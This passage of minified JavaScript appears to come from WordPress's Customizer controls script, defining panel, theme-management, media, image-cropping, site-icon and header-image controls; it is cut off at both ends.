n,i=this,a=i.headContainer.closest(".wp-full-overlay-sidebar-content"),o=i.contentContainer,s=o.find(".customize-section-back"),r=i.headContainer.find(".accordion-section-title").first();J(document.body).toggleClass("outer-section-open",e),i.container.toggleClass("open",e),i.container.removeClass("busy"),Y.section.each(function(e){"outer"===e.params.type&&e.id!==i.id&&e.container.removeClass("open")}),e&&!o.hasClass("open")?(n=t.unchanged?t.completeCallback:function(){i._animateChangeExpanded(function(){r.attr("tabindex","-1"),s.attr("tabindex","0"),s.trigger("focus"),o.css("top",""),a.scrollTop(0),t.completeCallback&&t.completeCallback()}),o.addClass("open")}.bind(this),i.panel()?Y.panel(i.panel()).expand({duration:t.duration,completeCallback:n}):n()):!e&&o.hasClass("open")?(i.panel()&&(n=Y.panel(i.panel())).contentContainer.hasClass("skip-transition")&&n.collapse(),i._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),o.css("top",""),t.completeCallback&&t.completeCallback()}),o.removeClass("open")):t.completeCallback&&t.completeCallback()}}),Y.Panel=a.extend({containerType:"panel",initialize:function(e,t){var n=this,i=t.params||t;i.type||_.find(Y.panelConstructor,function(e,t){return e===n.constructor&&(i.type=t,!0)}),a.prototype.initialize.call(n,e,i),n.embed(),n.deferred.embedded.done(function(){n.ready()})},embed:function(){var e=this,t=J("#customize-theme-controls"),n=J(".customize-pane-parent");e.headContainer.parent().is(n)||n.append(e.headContainer),e.contentContainer.parent().is(e.headContainer)||t.append(e.contentContainer),e.renderContent(),e.deferred.embedded.resolve()},attachEvents:function(){var t,n=this;n.headContainer.find(".accordion-section-title").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded())||n.expand()}),n.container.find(".customize-panel-back").on("click keydown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),n.expanded()&&n.collapse())}),(t=n.container.find(".panel-meta:first")).find("> .accordion-section-title .customize-help-toggle").on("click",function(){var e;t.hasClass("cannot-expand")||(e=t.find(".customize-panel-description:first"),t.hasClass("open")?(t.toggleClass("open"),e.slideUp(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),J(this).attr("aria-expanded",!1)):(e.slideDown(n.defaultExpandedArguments.duration,function(){e.trigger("toggled")}),t.toggleClass("open"),J(this).attr("aria-expanded",!0)))})},sections:function(){return this._children("panel","section")},isContextuallyActive:function(){var e=this.sections(),t=0;return _(e).each(function(e){e.active()&&e.isContextuallyActive()&&(t+=1)}),0!==t},onChangeExpanded:function(e,t){var n,i,a,o,s,r,c;t.unchanged?t.completeCallback&&t.completeCallback():(a=(i=(n=this).contentContainer).closest(".wp-full-overlay"),o=i.closest(".wp-full-overlay-sidebar-content"),s=n.headContainer.find(".accordion-section-title"),r=i.find(".customize-panel-back"),c=n.sections(),e&&!i.hasClass("current-panel")?(Y.section.each(function(e){n.id!==e.panel()&&e.collapse({duration:0})}),Y.panel.each(function(e){n!==e&&e.collapse({duration:0})}),n.params.autoExpandSoleSection&&1===c.length&&c[0].active.get()?(i.addClass("current-panel skip-transition"),a.addClass("in-sub-panel"),c[0].expand({completeCallback:t.completeCallback})):(n._animateChangeExpanded(function(){s.attr("tabindex","-1"),r.attr("tabindex","0"),r.trigger("focus"),i.css("top",""),o.scrollTop(0),t.completeCallback&&t.completeCallback()}),i.addClass("current-panel"),a.addClass("in-sub-panel")),Y.state("expandedPanel").set(n)):!e&&i.hasClass("current-panel")&&(i.hasClass("skip-transition")?i.removeClass("skip-transition"):n._animateChangeExpanded(function(){s.attr("tabindex","0"),r.attr("tabindex","-1"),s.focus(),i.css("top",""),t.completeCallback&&t.completeCallback()}),a.removeClass("in-sub-panel"),i.removeClass("current-panel"),n===Y.state("expandedPanel").get())&&Y.state("expandedPanel").set(!1))},renderContent:function(){var e=this,t=0!==J("#tmpl-"+e.templateSelector+"-content").length?wp.template(e.templateSelector+"-content"):wp.template("customize-panel-default-content");t&&e.headContainer&&e.contentContainer.html(t(_.extend({id:e.id},e.params)))}}),Y.ThemesPanel=Y.Panel.extend({initialize:function(e,t){this.installingThemes=[],Y.Panel.prototype.initialize.call(this,e,t)},canSwitchTheme:function(e){return!(!e||e!==Y.settings.theme.stylesheet)||"publish"===Y.state("selectedChangesetStatus").get()&&(""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get())},attachEvents:function(){var t=this;function e(){t.canSwitchTheme()?t.notifications.remove("theme_switch_unavailable"):t.notifications.add(new Y.Notification("theme_switch_unavailable",{message:Y.l10n.themePreviewUnavailable,type:"warning"}))}Y.Panel.prototype.attachEvents.apply(t),Y.settings.theme._canInstall&&Y.settings.theme._filesystemCredentialsNeeded&&t.notifications.add(new Y.Notification("theme_install_unavailable",{message:Y.l10n.themeInstallUnavailable,type:"info",dismissible:!0})),e(),Y.state("selectedChangesetStatus").bind(e),Y.state("changesetStatus").bind(e),t.contentContainer.on("click",".customize-theme",function(){t.collapse()}),t.contentContainer.on("click",".customize-themes-section-title, .customize-themes-mobile-back",function(){J(".wp-full-overlay").toggleClass("showing-themes")}),t.contentContainer.on("click",".theme-install",function(e){t.installTheme(e)}),t.contentContainer.on("click",".update-theme, #update-theme",function(e){e.preventDefault(),e.stopPropagation(),t.updateTheme(e)}),t.contentContainer.on("click",".delete-theme",function(e){t.deleteTheme(e)}),_.bindAll(t,"installTheme","updateTheme")},onChangeExpanded:function(e,t){var n,i=!1;Y.Panel.prototype.onChangeExpanded.apply(this,[e,t]),t.unchanged?t.completeCallback&&t.completeCallback():(n=this.headContainer.closest(".wp-full-overlay"),e?(n.addClass("in-themes-panel").delay(200).find(".customize-themes-full-container").addClass("animate"),_.delay(function(){n.addClass("themes-panel-expanded")},200),600<window.innerWidth&&(t=this.sections(),_.each(t,function(e){e.expanded()&&(i=!0)}),!i)&&0<t.length&&t[0].expand()):n.removeClass("in-themes-panel themes-panel-expanded").find(".customize-themes-full-container").removeClass("animate"))},installTheme:function(e){var t,i=this,a=J(e.target).data("slug"),o=J.Deferred(),s=J(e.target).hasClass("preview");return Y.settings.theme._filesystemCredentialsNeeded?o.reject({errorCode:"theme_install_unavailable"}):i.canSwitchTheme(a)?_.contains(i.installingThemes,a)?o.reject({errorCode:"theme_already_installing"}):(wp.updates.maybeRequestFilesystemCredentials(e),e=function(t){var e,n=!1;if(s)Y.notifications.remove("theme_installing"),i.loadThemePreview(a);else{if(Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(n=e.params.theme,e.rerenderAsInstalled(!0))}),!n||Y.control.has("installed_theme_"+n.id))return void o.resolve(t);n.type="installed",e=new Y.controlConstructor.theme("installed_theme_"+n.id,{type:"theme",section:"installed_themes",theme:n,priority:0}),Y.control.add(e),Y.control(e.id).container.trigger("render-screenshot"),Y.section.each(function(e){"themes"===e.params.type&&n.id===e.currentTheme&&e.closeDetails()})}o.resolve(t)},i.installingThemes.push(a),t=wp.updates.installTheme({slug:a}),s&&Y.notifications.add(new Y.OverlayNotification("theme_installing",{message:Y.l10n.themeDownloading,type:"info",loading:!0})),t.done(e),t.fail(function(){Y.notifications.remove("theme_installing")})):o.reject({errorCode:"theme_switch_unavailable"}),o.promise()},loadThemePreview:function(e){var t,n,i=J.Deferred();return this.canSwitchTheme(e)?((n=document.createElement("a")).href=location.href,e=_.extend(Y.utils.parseQueryString(n.search.substr(1)),{theme:e,changeset_uuid:Y.settings.changeset.uuid,return:Y.settings.url.return}),Y.state("saved").get()||(e.customize_autosaved="on"),n.search=J.param(e),Y.notifications.add(new Y.OverlayNotification("theme_previewing",{message:Y.l10n.themePreviewWait,type:"info",loading:!0})),t=function(){var e;0<Y.state("processing").get()||(Y.state("processing").unbind(t),(e=Y.requestChangesetUpdate({},{autosave:!0})).done(function(){i.resolve(),J(window).off("beforeunload.customize-confirm"),location.replace(n.href)}),e.fail(function(){Y.notifications.remove("theme_previewing"),i.reject()}))},0===Y.state("processing").get()?t():Y.state("processing").bind(t)):i.reject({errorCode:"theme_switch_unavailable"}),i.promise()},updateTheme:function(e){wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-update-success",function(e,t){Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t.slug&&(e.params.theme.hasUpdate=!1,e.params.theme.version=t.newVersion,setTimeout(function(){e.rerenderAsInstalled(!0)},2e3))})}),wp.updates.updateTheme({slug:J(e.target).closest(".notice").data("slug")})},deleteTheme:function(e){var t=J(e.target).data("slug"),n=Y.section("installed_themes");e.preventDefault(),Y.settings.theme._filesystemCredentialsNeeded||window.confirm(Y.settings.l10n.confirmDeleteTheme)&&(wp.updates.maybeRequestFilesystemCredentials(e),J(document).one("wp-theme-delete-success",function(){var e=Y.control("installed_theme_"+t);e.container.remove(),Y.control.remove(e.id),n.loaded=n.loaded-1,n.updateCount(),Y.control.each(function(e){"theme"===e.params.type&&e.params.theme.id===t&&e.rerenderAsInstalled(!1)})}),wp.updates.deleteTheme({slug:t}),n.closeDetails(),n.focus())}}),Y.Control=Y.Class.extend({defaultActiveArguments:{duration:"fast",completeCallback:J.noop},defaults:{label:"",description:"",active:!0,priority:10},initialize:function(e,t){var n,i=this,a=[];i.params=_.extend({},i.defaults,i.params||{},t.params||t||{}),Y.Control.instanceCounter||(Y.Control.instanceCounter=0),Y.Control.instanceCounter++,i.params.instanceNumber||(i.params.instanceNumber=Y.Control.instanceCounter),i.params.type||_.find(Y.controlConstructor,function(e,t){return e===i.constructor&&(i.params.type=t,!0)}),i.params.content||(i.params.content=J("<li></li>",{id:"customize-control-"+e.replace(/]/g,"").replace(/\[/g,"-"),class:"customize-control customize-control-"+i.params.type})),i.id=e,i.selector="#customize-control-"+e.replace(/\]/g,"").replace(/\[/g,"-"),i.params.content?i.container=J(i.params.content):i.container=J(i.selector),i.params.templateId?i.templateSelector=i.params.templateId:i.templateSelector="customize-control-"+i.params.type+"-content",i.deferred=_.extend(i.deferred||{},{embedded:new J.Deferred}),i.section=new Y.Value,i.priority=new Y.Value,i.active=new Y.Value,i.activeArgumentsQueue=[],i.notifications=new Y.Notifications({alt:i.altNotice}),i.elements=[],i.active.bind(function(e){var t=i.activeArgumentsQueue.shift(),t=J.extend({},i.defaultActiveArguments,t);i.onChangeActive(e,t)}),i.section.set(i.params.section),i.priority.set(isNaN(i.params.priority)?10:i.params.priority),i.active.set(i.params.active),Y.utils.bubbleChildValueChanges(i,["section","priority","active"]),i.settings={},n={},i.params.setting&&(n.default=i.params.setting),_.extend(n,i.params.settings),_.each(n,function(e,t){var n;_.isObject(e)&&_.isFunction(e.extended)&&e.extended(Y.Value)?i.settings[t]=e:_.isString(e)&&((n=Y(e))?i.settings[t]=n:a.push(e))}),t=function(){_.each(n,function(e,t){!i.settings[t]&&_.isString(e)&&(i.settings[t]=Y(e))}),i.settings[0]&&!i.settings.default&&(i.settings.default=i.settings[0]),i.setting=i.settings.default||null,i.linkElements(),i.embed()},0===a.length?t():Y.apply(Y,a.concat(t)),i.deferred.embedded.done(function(){i.linkElements(),i.setupNotifications(),i.ready()})},linkElements:function(){var i,a=this,o=a.container.find("[data-customize-setting-link], [data-customize-setting-key-link]"),s={};o.each(function(){var e,t,n=J(this);if(!n.data("customizeSettingLinked")){if(n.data("customizeSettingLinked",!0),n.is(":radio")){if(e=n.prop("name"),s[e])return;s[e]=!0,n=o.filter('[name="'+e+'"]')}n.data("customizeSettingLink")?t=Y(n.data("customizeSettingLink")):n.data("customizeSettingKeyLink")&&(t=a.settings[n.data("customizeSettingKeyLink")]),t&&(i=new Y.Element(n),a.elements.push(i),i.sync(t),i.set(t()))}})},embed:function(){var n=this,e=function(e){var t;e&&Y.section(e,function(e){e.deferred.embedded.done(function(){t=e.contentContainer.is("ul")?e.contentContainer:e.contentContainer.find("ul:first"),n.container.parent().is(t)||t.append(n.container),n.renderContent(),n.deferred.embedded.resolve()})})};n.section.bind(e),e(n.section.get())},ready:function(){var t,n=this;"dropdown-pages"===n.params.type&&n.params.allow_addition&&((t=n.container.find(".new-content-item")).hide(),n.container.on("click",".add-new-toggle",function(e){J(e.currentTarget).slideUp(180),t.slideDown(180),t.find(".create-item-input").focus()}),n.container.on("click",".add-content",function(){n.addNewPage()}),n.container.on("keydown",".create-item-input",function(e){13===e.which&&n.addNewPage()}))},getNotificationsContainerElement:function(){var e,t=this,n=t.container.find(".customize-control-notifications-container:first");return n.length||(n=J('<div class="customize-control-notifications-container"></div>'),t.container.hasClass("customize-control-nav_menu_item")?t.container.find(".menu-item-settings:first").prepend(n):t.container.hasClass("customize-control-widget_form")?t.container.find(".widget-inside:first").prepend(n):(e=t.container.find(".customize-control-title")).length?e.after(n):t.container.prepend(n)),n},setupNotifications:function(){var n,e,i=this;_.each(i.settings,function(n){n.notifications&&(n.notifications.bind("add",function(e){var t=_.extend({},e,{setting:n.id});i.notifications.add(new Y.Notification(n.id+":"+e.code,t))}),n.notifications.bind("remove",function(e){i.notifications.remove(n.id+":"+e.code)}))}),n=function(){var e=i.section();(!e||Y.section.has(e)&&Y.section(e).expanded())&&i.notifications.render()},i.notifications.bind("rendered",function(){var e=i.notifications.get();i.container.toggleClass("has-notifications",0!==e.length),i.container.toggleClass("has-error",0!==_.where(e,{type:"error"}).length)}),i.section.bind(e=function(e,t){t&&Y.section.has(t)&&Y.section(t).expanded.unbind(n),e&&Y.section(e,function(e){e.expanded.bind(n),n()})}),e(i.section.get()),i.notifications.bind("change",_.debounce(n))},renderNotifications:function(){var e,t,n=this,i=!1;"undefined"!=typeof console&&console.warn&&console.warn("[DEPRECATED] wp.customize.Control.prototype.renderNotifications() is deprecated in favor of instantating a wp.customize.Notifications and calling its render() method."),(e=n.getNotificationsContainerElement())&&e.length&&(t=[],n.notifications.each(function(e){t.push(e),"error"===e.type&&(i=!0)}),0===t.length?e.stop().slideUp("fast"):e.stop().slideDown("fast",null,function(){J(this).css("height","auto")}),n.notificationsTemplate||(n.notificationsTemplate=wp.template("customize-control-notifications")),n.container.toggleClass("has-notifications",0!==t.length),n.container.toggleClass("has-error",i),e.empty().append(n.notificationsTemplate({notifications:t,altNotice:Boolean(n.altNotice)}).trim()))},expand:function(e){Y.section(this.section()).expand(e)},focus:o,onChangeActive:function(e,t){t.unchanged?t.completeCallback&&t.completeCallback():J.contains(document,this.container[0])?e?this.container.slideDown(t.duration,t.completeCallback):this.container.slideUp(t.duration,t.completeCallback):(this.container.toggle(e),t.completeCallback&&t.completeCallback())},toggle:function(e){return this.onChangeActive(e,this.defaultActiveArguments)},activate:a.prototype.activate,deactivate:a.prototype.deactivate,_toggleActive:a.prototype._toggleActive,dropdownInit:function(){function e(e){"string"==typeof e&&i.statuses&&i.statuses[e]?n.html(i.statuses[e]).show():n.hide()}var t=this,n=this.container.find(".dropdown-status"),i=this.params,a=!1;this.container.on("click keydown",".dropdown",function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),a||t.container.toggleClass("open"),t.container.hasClass("open")&&t.container.parent().parent().find("li.library-selected").focus(),a=!0,setTimeout(function(){a=!1},400))}),this.setting.bind(e),e(this.setting())},renderContent:function(){var e=this,t=e.templateSelector;t==="customize-control-"+e.params.type+"-content"&&_.contains(["button","checkbox","date","datetime-local","email","month","number","password","radio","range","search","select","tel","time","text","textarea","week","url"],e.params.type)&&!document.getElementById("tmpl-"+t)&&0===e.container.children().length&&(t="customize-control-default-content"),document.getElementById("tmpl-"+t)&&(t=wp.template(t))&&e.container&&e.container.html(t(e.params)),e.notifications.container=e.getNotificationsContainerElement(),(!(t=e.section())||Y.section.has(t)&&Y.section(t).expanded())&&e.notifications.render()},addNewPage:function(){var e,a,o,t,s,r,c=this;"dropdown-pages"===c.params.type&&c.params.allow_addition&&Y.Menus&&(a=c.container.find(".add-new-toggle"),o=c.container.find(".new-content-item"),t=c.container.find(".create-item-input"),s=t.val(),r=c.container.find("select"),s?(t.removeClass("invalid"),t.attr("disabled","disabled"),(e=Y.Menus.insertAutoDraftPost({post_title:s,post_type:"page"})).done(function(e){var t,n,i=new Y.Menus.AvailableItemModel({id:"post-"+e.post_id,title:s,type:"post_type",type_label:Y.Menus.data.l10n.page_label,object:"page",object_id:e.post_id,url:e.url});Y.Menus.availableMenuItemsPanel.collection.add(i),t=J("#available-menu-items-post_type-page").find(".available-menu-items-list"),n=wp.template("available-menu-item"),t.prepend(n(i.attributes)),r.focus(),c.setting.set(String(e.post_id)),o.slideUp(180),a.slideDown(180)}),e.always(function(){t.val("").removeAttr("disabled")})):t.addClass("invalid"))}}),Y.ColorControl=Y.Control.extend({ready:function(){var t,n=this,e="hue"===this.params.mode,i=!1;e?(t=this.container.find(".color-picker-hue")).val(n.setting()).wpColorPicker({change:function(e,t){i=!0,n.setting(t.color.h()),i=!1}}):(t=this.container.find(".color-picker-hex")).val(n.setting()).wpColorPicker({change:function(){i=!0,n.setting.set(t.wpColorPicker("color")),i=!1},clear:function(){i=!0,n.setting.set(""),i=!1}}),n.setting.bind(function(e){i||(t.val(e),t.wpColorPicker("color",e))}),n.container.on("keydown",function(e){27===e.which&&n.container.find(".wp-picker-container").hasClass("wp-picker-active")&&(t.wpColorPicker("close"),n.container.find(".wp-color-result").focus(),e.stopPropagation())})}}),Y.MediaControl=Y.Control.extend({ready:function(){var n=this;function e(e){var t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e<=0?(delete n.params.attachment,t.resolve()):n.params.attachment&&n.params.attachment.id===e&&t.resolve()),"pending"===t.state()&&wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+"-attachment-data",this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,"restoreDefault","removeFile","openFrame","select","pausePlayer"),n.container.on("click keydown",".upload-button",n.openFrame),n.container.on("click keydown",".upload-button",n.pausePlayer),n.container.on("click keydown",".thumbnail-image img",n.openFrame),n.container.on("click keydown",".default-button",n.restoreDefault),n.container.on("click keydown",".remove-button",n.pausePlayer),n.container.on("click keydown",".remove-button",n.removeFile),n.container.on("click keydown",".remove-button",n.cleanupPlayer),Y.section(n.section()).container.on("expanded",function(){n.player&&n.player.setControlsSize()}).on("collapsed",function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&&this.player.pause()},cleanupPlayer:function(){this.player&&wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on("select",this.select)},select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post("custom-background-add",{nonce:_wpCustomizeBackground.nonces.add,wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on("change",'input[name="background-position"]',function(){var e=J(this).val().split(" ");n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+" "+String(t);n.container.find('input[name="background-position"][value="'+e+'"]').trigger("click")}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState("library").open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get("control"),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get("width"),e=e.get("height"),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=s,d=r;return t.set("canSkipCrop",!n.mustBeCropped(i,a,s,r,o,e)),c<o/e?s=(r=e)*c:r=(s=o)/c,!(c={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s<l?s:l,minHeight:r<d?r:d,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&&!1==i&&(c.aspectRatio=s+":"+r),!0==a&&(delete c.minHeight,c.maxWidth=o),!0==i&&(delete c.minWidth,c.maxHeight=e),c},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&&!(!0===e&&i===o||!0===t&&n===a||n===a&&i===o||a<=n)},onSkippedCrop:function(){var e=this.frame.state().get("selection").first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){this.params.attachment=e,this.setting(e.id)}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):wp.ajax.post("crop-image",{nonce:e.nonces.edit,id:e.id,context:"site-icon",cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger("content:error:crop")})},setImageFromAttachment:function(t){var n;_.each(["site_icon-32","thumbnail","full"],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&&J('link[rel="icon"][sizes="32x32"]').attr("href",n.url)},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent(),J('link[rel="icon"][sizes="32x32"]').attr("href","/favicon.ico"))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J("#customize-control-header_image .actions .remove"),this.btnNew=J("#customize-control-header_image .actions .new"),_.bindAll(this,"openMedia","removeImage"),this.btnNew.on("click",this.openMedia),this.btnRemove.on("click",this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:"#customize-control-header_image .current .container"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new Y.HeaderTool.ChoiceList,el:"#customize-control-header_image .choices .uploaded .list"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:"#customize-control-header_image .choices .default .list"}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize="on",wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&&Y.get().header_image_data&&!_.contains(["remove-header","random-default-image","random-uploaded-image"],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split("/").pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data["flex-width"],10),o=!!parseInt(_wpCustomizeHeader.data["flex-height"],10),s=e.get("width"),e=e.get("height");return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set("canSkipCrop",!this.headerImage.shouldBeCropped()),(t=n/i)<s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&&!1==a&&(t.aspectRatio=n+":"+i),!1==o&&(t.maxHeight=i),!1==a&&(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState("cropper")},onCropped:function(e){var t=e.url,n=e.attachment_id,i=e.width,e=e.height;this.setImageFromURL(t,n,i,e)},onSkippedCrop:function(e){var t=e.get("url"),n=e.get("width"),i=e.get("height");this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&&(a.attachment_id=t),n&&(a.width=n),i&&(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split("/").pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger("hide"),Y.HeaderTool.CombinedList.trigger("control:removeImage")}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel("themes");function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find("button.preview, button.preview-theme").toggleClass("disabled",t()),n.container.find("button.theme-install").toggleClass("disabled",t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state("selectedChangesetStatus").bind(i),Y.state("changesetStatus").bind(i),i(),n.container.on("touchmove",".theme",function(){n.touchDrag=!0}),n.container.on("click keydown touchend",".theme",function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(".theme-actions .button, .update-theme")||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&&t.overlay.find(".theme-actions .delete-theme").remove()})))}),n.container.on("render-screenshot",function(){var e=J(this).find("img"),t=e.data("src");t&&e.attr("src",t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+" "+t.params.theme.description+" "+t.params.theme.tags+" "+t.params.theme.author+" ").toLowerCase().replace("-"," ");return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(" ")?n=100:(n+=10*(i.split(e.join(" ")).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+" ").length-1))+i.split(e).length-1}),99<n&&(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type="installed":(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger("render-screenshot")}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind("add",function(e){var t;e.code===n.setting.id+":csslint_error"&&(e.templateId="customize-code-editor-lint-error-notification",e.render=(t=e.render,function(){var e=t.call(this);return 